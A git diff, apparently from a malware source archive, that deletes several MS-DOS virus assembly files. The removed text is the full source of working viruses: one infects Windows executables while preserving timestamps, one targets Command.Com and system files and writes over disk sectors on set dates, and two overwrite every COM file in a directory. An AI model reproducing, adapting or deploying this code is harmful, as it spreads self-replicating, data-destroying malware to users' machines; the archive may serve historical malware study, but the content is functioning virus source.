-;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_13 proc near - mov ax,4202h - xor cx,cx ; Zero register - cwd ; Word to double word - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn -sub_13 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_14 proc near - add ax,ds:data_20e - adc dx,ds:data_21e - jmp short loc_9 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_15: - mov cx,10h - mul cx ; dx:ax = reg * ax - add ax,100h - adc dx,0 - jmp short loc_9 - db 33h,0C0h, 99h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_16: -loc_9: - xchg cx,dx - xchg ax,dx - mov ax,4200h - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn -sub_14 endp - - ;* No entry point to code - xchg cx,dx - xchg ax,dx - mov ax,4201h - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn - db ' Virus_for_Windows v1.4 ' - db 259 dup (0) - db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' - db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' - db 'bbbbbbbbccccccccdddddddddddddddd' - db 'ddddddddddddddddddddddddddd*.EXE' - db 0 - db 'eeeeeeeeeeeee' - db 00h, 00h, 80h, 00h, 00h, 00h - db 5Ch, 00h, 00h, 00h - db 6Ch - db 11 dup (0) - db 4Dh, 4Bh, 39h, 32h - db 8 dup (0) - -seg_a ends - - - -;------------------------------------------------------ stack_seg_b ---- - -stack_seg_b segment word stack 'STACK' - - db 8192 dup (0) - -stack_seg_b ends - - - - end start diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14a.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14a.asm deleted file mode 100644 index 98555159..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.wvir14a.asm +++ /dev/null @@ -1,487 +0,0 @@ - -PAGE 59,132 - -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ -;ÛÛ ÛÛ -;ÛÛ WVIR14 ÛÛ -;ÛÛ ÛÛ -;ÛÛ Created: 1-Sep-92 ÛÛ -;ÛÛ Passes: 5 Analysis Options on: none ÛÛ -;ÛÛ ÛÛ -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ - -data_11e equ 100h ;* -data_12e equ 140h ;* -data_13e equ 142h ;* -data_14e equ 144h ;* -data_15e equ 148h ;* -data_16e equ 14Ah ;* -data_17e equ 150h ;* -data_18e equ 16Eh ;* -data_19e equ 181h ;* -data_20e equ 19Ch ;* -data_21e equ 19Eh ;* -data_22e equ 1A0h ;* -data_23e equ 1A2h ;* - -;------------------------------------------------------------ seg_a ---- - -seg_a segment byte public - assume cs:seg_a , ds:seg_a , ss:stack_seg_b - - db 249 dup (0) - -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ -; -; Program Entry Point -; -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ - - -wvir14 proc far - -start: - mov ax,cs - add ax,3Bh - mov ds,ax - cld ; Clear direction - push es - push ds - pop es - mov si,data_18e - mov di,data_19e - mov cx,0Dh - rep movsb ; Rep when cx >0 Mov [si] to es:[di] - mov dx,data_17e - mov ah,1Ah - int 21h ; DOS Services ah=function 1Ah - ; set DTA(disk xfer area) ds:dx - mov dx,17Bh - xor cx,cx ; Zero register - mov ah,4Eh -loc_1: - int 21h ; DOS Services ah=function 4Fh - ; find next filename match - jc loc_2 ; Jump if carry Set - mov dx,data_18e - call sub_1 - mov ah,4Fh ; 'O' - jmp short loc_1 -loc_2: - mov dx,data_19e - call sub_2 - pop es - mov ax,4C00h - int 21h ; DOS Services ah=function 4Ch - ; terminate with al=return code - -wvir14 endp - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_1 proc near - mov ax,3D02h - int 21h ; DOS Services ah=function 3Dh - ; open file, al=mode,name@ds:dx - jc loc_ret_4 ; Jump if carry Set - xchg ax,bx - mov si,100h - call sub_3 - jc loc_3 ; Jump if carry Set - cmp word ptr [si+14h],100h - je loc_3 ; Jump if equal - mov ax,5700h - int 21h ; DOS Services ah=function 57h - ; get file date+time, bx=handle - ; returns cx=time, dx=time - push cx - push dx - call sub_4 - pop dx - pop cx - mov ax,5701h - int 21h ; DOS Services ah=function 57h - ; set file date+time, bx=handle - ; cx=time, dx=time -loc_3: - mov ah,3Eh - int 21h ; DOS Services ah=function 3Eh - ; close file, bx=file handle - -loc_ret_4: - retn -sub_1 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_2 proc near - mov ax,3D02h - int 21h ; DOS Services ah=function 3Dh - ; open file, al=mode,name@ds:dx - jc loc_ret_4 ; Jump if carry Set - xchg ax,bx - mov si,100h - call sub_3 - jc loc_3 ; Jump if carry Set - cmp word ptr [si+14h],100h - jne loc_3 ; Jump if not equal - mov ax,5700h - int 21h ; DOS Services ah=function 57h - ; get file date+time, bx=handle - ; returns cx=time, dx=time - push cx - push dx - call sub_5 - call sub_6 - pop dx - pop cx - mov ax,5701h - int 21h ; DOS Services ah=function 57h - ; set file date+time, bx=handle - ; cx=time, dx=time - jmp short loc_3 -sub_2 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_3 proc near - call sub_8 - cmp word ptr [si],5A4Dh - jne loc_5 ; Jump if not equal - cmp word ptr [si+18h],40h - jb loc_5 ; Jump if below - mov ax,[si+3Ch] - mov dx,[si+3Eh] - call sub_16 - mov ds:data_20e,ax - mov ds:data_21e,dx - call sub_8 - cmp word ptr [si],454Eh - jne loc_5 ; Jump if not equal - cmp word ptr [si+0Ch],302h - jne loc_5 ; Jump if not equal - cmp byte ptr [si+32h],4 - jne loc_5 ; Jump if not equal - cmp word ptr [si+36h],802h - jne loc_5 ; Jump if not equal - clc ; Clear carry flag - retn -loc_5: - stc ; Set carry flag - -loc_ret_6: - retn -sub_3 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_4 proc near - mov ax,[si+16h] - mov dx,140h - call sub_7 - cmp word ptr ds:data_13e,3AEh - jb loc_ret_6 ; Jump if below - cmp byte ptr ds:data_14e,50h ; 'P' - jne loc_ret_6 ; Jump if not equal - mov ax,[si+0Eh] - mov dx,148h - call sub_7 - cmp word ptr ds:data_16e,4A8h - jb loc_ret_6 ; Jump if below - mov ax,ds:data_12e - call sub_15 - mov dx,1A8h - mov cx,2AEh - nop - call sub_9 - call sub_13 - mov dx,1A8h - mov cx,2AEh - nop - call sub_12 - mov ax,word ptr ds:[148h] - call sub_15 - mov dx,1A8h - mov cx,0A8h - nop - call sub_9 - call sub_13 - mov dx,1A8h - mov cx,0A8h - nop - call sub_12 - push word ptr ds:[144h] - pop word ptr ds:[1A2h] - and word ptr ds:[144h],0FEFFh - mov ax,[si+16h] - mov dx,140h - call sub_10 - xor ax,ax ; Zero register - cwd ; Word to double word - call sub_14 - push word ptr [si+14h] - pop word ptr ds:[1A0h] - mov word ptr [si+14h],100h - call sub_11 - mov ax,word ptr ds:[140h] - call sub_15 - push ds - push cs - pop ds - mov dx,100h - mov cx,2AEh - nop - call sub_12 - pop ds - mov ax,word ptr ds:[148h] - call sub_15 - mov dx,100h - mov cx,0A8h - nop - call sub_12 - retn -sub_4 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_5 proc near - mov ax,[si+0Eh] - mov dx,148h - call sub_7 - mov ax,ds:data_15e - call sub_15 - mov dx,100h - mov cx,0A8h - nop - call sub_9 - retn -sub_5 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_6 proc near - push word ptr ds:data_23e - pop word ptr ds:data_14e - mov ax,[si+16h] - mov dx,140h - call sub_10 - push word ptr ds:data_22e - pop word ptr [si+14h] - xor ax,ax ; Zero register - cwd ; Word to double word - call sub_14 - call sub_11 - call sub_13 - sub ax,0A8h - nop - sbb dx,0 - push ax - push dx - call sub_16 - mov dx,1A8h - mov cx,0A8h - nop - call sub_9 - mov ax,ds:data_15e - call sub_15 - mov dx,1A8h - mov cx,0A8h - nop - call sub_12 - pop dx - pop ax - sub ax,2AEh - nop - sbb dx,0 - push ax - push dx - call sub_16 - mov dx,1A8h - mov cx,2AEh - nop - call sub_9 - mov ax,word ptr ds:[140h] - call sub_15 - mov dx,1A8h - mov cx,2AEh - nop - call sub_12 - pop dx - pop ax - call sub_16 - mov cx,0 - call sub_12 - retn -sub_6 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_7 proc near - push dx - dec ax - mov cx,8 - mul cx ; dx:ax = reg * ax - add ax,[si+22h] - adc dx,0 - call sub_14 - pop dx - mov cx,8 - jmp short loc_7 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_8: - mov dx,data_11e - mov cx,40h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_9: -loc_7: - mov ah,3Fh - int 21h ; DOS Services ah=function 3Fh - ; read file, bx=file handle - ; cx=bytes to ds:dx buffer - retn -sub_7 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_10 proc near - push dx - dec ax - mov cx,8 - mul cx ; dx:ax = reg * ax - add ax,[si+22h] - adc dx,0 - call sub_14 - pop dx - mov cx,8 - jmp short loc_8 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_11: - mov dx,data_11e - mov cx,40h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_12: -loc_8: - mov ah,40h - int 21h ; DOS Services ah=function 40h - ; write file bx=file handle - ; cx=bytes from ds:dx buffer - retn -sub_10 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_13 proc near - mov ax,4202h - xor cx,cx ; Zero register - cwd ; Word to double word - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn -sub_13 endp - - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_14 proc near - add ax,ds:data_20e - adc dx,ds:data_21e - jmp short loc_9 - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_15: - mov cx,10h - mul cx ; dx:ax = reg * ax - add ax,100h - adc dx,0 - jmp short loc_9 - db 33h,0C0h, 99h - -;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß - -sub_16: -loc_9: - xchg cx,dx - xchg ax,dx - mov ax,4200h - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn -sub_14 endp - - ;* No entry point to code - xchg cx,dx - xchg ax,dx - mov ax,4201h - int 21h ; DOS Services ah=function 42h - ; move file ptr, bx=file handle - ; al=method, cx,dx=offset - retn - db ' Virus_for_Windows v1.4 ' - db 259 dup (0) - db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' - db 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' - db 'bbbbbbbbccccccccdddddddddddddddd' - db 'ddddddddddddddddddddddddddd*.EXE' - db 0 - db 'eeeeeeeeeeeee' - db 00h, 00h, 80h, 00h, 00h, 00h - db 5Ch, 00h, 00h, 00h - db 6Ch - db 11 dup (0) - db 4Dh, 4Bh, 39h, 32h - db 8 dup (0) - -seg_a ends - - - -;------------------------------------------------------ stack_seg_b ---- - -stack_seg_b segment word stack 'STACK' - - db 8192 dup (0) - -stack_seg_b ends - - - - end start diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.ww.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.ww.asm deleted file mode 100644 index 559292ab..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.ww.asm +++ /dev/null @@ -1,225 +0,0 @@ -seg_a segment byte public - assume cs:seg_a, ds:seg_a - - - org 100h - -ww proc far - -start: - jmp loc_2 - db 12 dup (90h) - db 0CDh, 20h -loc_2: - jmp short loc_3 - db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh - db 00h, 00h -data_8 db 'C:\Command.Com', 0 - db 'C:\Autoexec.Bat', 0 - db 'C:\Config.Sys', 0 - db '\win' -data_12 dw 6F64h - db 'ws\win.com' - db 00h,0E9h, 0Eh, 00h, 90h,0C8h - db 01h -loc_3: - mov bx,101h - mov ah,[bx] - mov bx,102h - mov al,[bx] - xchg al,ah - add ax,3 - mov si,ax - mov ah,1Ah - lea dx,[si+2C8h] - add dx,6 - int 21h - - mov ah,4Eh - lea dx,[si+103h] - mov cx,6 - int 21h - - cmp ax,12h - je loc_7 - lea dx,[si+10Ah] - jmp short loc_6 - db 90h -loc_5: - mov ah,4Dh - int 21h - - mov ah,4Fh - int 21h - - cmp ax,12h - je loc_7 - lea dx,[si+2C8h] - add dx,24h -loc_6: - mov ah,3Dh - mov al,2 - int 21h - - mov bx,ax - mov ah,42h - mov al,2 - mov dx,0 - mov cx,0 - int 21h - - - push ax - sub ax,6 - mov dx,ax - mov ah,42h - mov al,0 - mov cx,0 - int 21h - - - mov ah,3Fh - mov cx,1 - lea dx,[si+14Bh] - int 21h - - - mov ah,byte ptr data_8+30h[si] - cmp ah,42h - jne loc_8 - jmp short loc_5 -loc_7: - jmp short loc_9 - db 90h -loc_8: - mov ah,42h - mov al,0 - mov dx,0 - mov cx,0 - int 21h - - - mov ax,3F00h - mov cx,3 - lea dx,[si+2C8h] - add dx,3 - int 21h - - - mov ax,4200h - mov dx,0 - mov cx,0 - int 21h - - - pop ax - sub ax,3 - mov byte ptr data_8+2Eh[si],al - mov byte ptr data_8+2Fh[si],ah - mov ah,40h - mov cx,3 - lea dx,[si+148h] - int 21h - - - mov ax,4202h - mov dx,0 - mov cx,0 - int 21h - - - mov ah,40h - lea dx,[si+100h] - mov cx,data_12[si] - int 21h - - - mov ax,4000h - lea dx,[si+2C8h] - add dx,3 - mov cx,3 - int 21h - - - jmp short loc_9 - db 90h -loc_9: - mov ah,3Eh - int 21h - - mov ah,41h - lea dx,[si+137h] - int 21h - - mov ah,2Ah - int 21h - - - cmp dh,2 - jne loc_14 - cmp dl,17h - je loc_10 - cmp dl,18h - je loc_11 - cmp dl,19h - je loc_12 - jmp short loc_14 - db 90h -loc_10: - mov ah,3Ch - lea dx,[si+119h] - mov cx,1 - int 21h - - jmp short loc_14 - db 90h -loc_11: - mov ah,3Ch - lea dx,[si+129h] - mov cx,1 - int 21h - - jmp short loc_14 - db 90h -loc_12: - mov al,2 -loc_13: - mov cx,96h - mov dx,0 - int 26h - - - - inc al - cmp al,4 - jne loc_13 -loc_14: - mov cx,3 - lea ax,[si+2C8h] - mov si,ax - mov di,100h - rep movsb - call sub_1 - int 20h - -ww endp - -sub_1 proc near - mov di,offset start - jmp di - db 'Why Windows ' -copyright db '(c)1992 MaZ / BetaBoys B.B' - db 90h, 90h, 90h -sub_1 endp - - -seg_a ends - - - - end start - -; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ -; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ -; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-01.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-01.asm deleted file mode 100644 index 147fb485..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-01.asm +++ /dev/null @@ -1,78 +0,0 @@ - -PAGE 59,132 - -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ -;ÛÛ ÛÛ -;ÛÛ WWT-01 ÛÛ -;ÛÛ ÛÛ -;ÛÛ Created: 15-Mar-91 ÛÛ -;ÛÛ Passes: 5 Analysis Options on: none ÛÛ -;ÛÛ ÛÛ -;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ - -data_009E_e equ 9Eh - -seg_a segment byte public - assume cs:seg_a, ds:seg_a - - - org 100h - -wwt-01 proc far - -start: - mov dx,offset data_013D - mov ah,4Eh ; 'N' - mov cx,1 - int 21h ; DOS Services ah=function 4Eh - ; find 1st filenam match @ds:dx - jnc loc_010E ; Jump if carry=0 - jmp short loc_012C -loc_010E: - mov dx,data_009E_e - mov ax,3D02h - int 21h ; DOS Services ah=function 3Dh - ; open file, al=mode,name@ds:dx - jnc loc_011A ; Jump if carry=0 - jmp short loc_012C -loc_011A: - mov bx,ax - call sub_012E - mov dx,80h - mov ah,4Fh ; 'O' - int 21h ; DOS Services ah=function 4Fh - ; find next filename match - jnc loc_012A ; Jump if carry=0 - jmp short loc_012C -loc_012A: - jmp short loc_010E -loc_012C: - int 20h ; DOS program terminate - -wwt-01 endp - -;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß -; SUBROUTINE -;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ - -sub_012E proc near - mov dx,100h - mov ah,40h ; '@' - mov cx,43h - int 21h ; DOS Services ah=function 40h - ; write file bx=file handle - ; cx=bytes from ds:dx buffer - mov ah,3Eh ; '>' - int 21h ; DOS Services ah=function 3Eh - ; close file, bx=file handle - retn -sub_012E endp - -data_013D db 2Ah - db 2Eh, 43h, 4Fh, 4Dh, 00h - -seg_a ends - - - - end start diff --git a/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-02.asm b/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-02.asm deleted file mode 100644 index ef93d233..00000000 --- a/MSDOS/W-Index/Virus.MSDOS.Unknown.wwt-02.asm +++ /dev/null @@ -1,73 +0,0 @@ -; Virus name WWT-02 -; Description Attack any COM file in current directory -; Comment Don't change Date/Time, ignore ReadOnly -; Date 19 Dec 1990 15:30 -; Place CICTT -; - mov dx,offset FileMask ; FileMask for any COM file - mov ah,4eh ; Find first file - mov cx,1 ; including attrib Archive - int 21h ; Call DOS - jnc Ok ; If no error -> go on - jmp short Exit ; If error -> exit program - -Ok - call Infect ; Do infection - -DoNext - mov dx,80h ; Set DS:DX to DTA - mov ah,4fh ; Find Next file - int 21h ; Call DOS - jnc NextOk ; If no error -> go on - jmp short Exit ; If error -> exit -NextOk - jmp short Ok ; Still next file exist - -Exit - int 20h ; Exit to DOS - -Infect - mov dx,9eh ; Set DS:DX to filename in DTA - mov ax,4300h ; Get file attribute - int 21h ; Call DOS - mov Attrib,cx ; Save attribute for later - xor cx,cx ; New attribute -> normal file - mov ax,4301h ; Set attribute - int 21h ; Call DOS - mov ax,3d02h ; Open file for Read/Write - int 21h ; Call DOS - jc Exit ; If error -> exit - mov bx,ax ; Save handle - mov ax,5700h ; Get file Date/Time - int 21h ; Call DOS - mov Date,dx ; Save date - mov Time,cx ; Save time - mov dx,100h ; DS:DX point to itself - mov ah,40h ; Write to handle - mov cx,offset VirusSize-100h ; Write only virus - int 21h ; Call DOS - mov ax,5701h ; Restore Date/Time - mov cx,Time ; Old time - mov dx,Date ; Old time - int 21h ; Call DOS - mov ah,3eh ; Close file - int 21h ; Call DOS - mov dx,9eh ; Set DS:DX to filename in DTA - mov cx,Attrib ; Restore attribute - mov ax,4301h ; Set file attribute - int 21h ; Call DOS - ret ; Return to caller - - -FileMask - db '*.COM',0 ; File mask for any COM file -Date - dw ? -Time - dw ? -Attrib - dw ? -VirusSize - db ? ; Used to calculate virus - ; size - \ No newline at end of file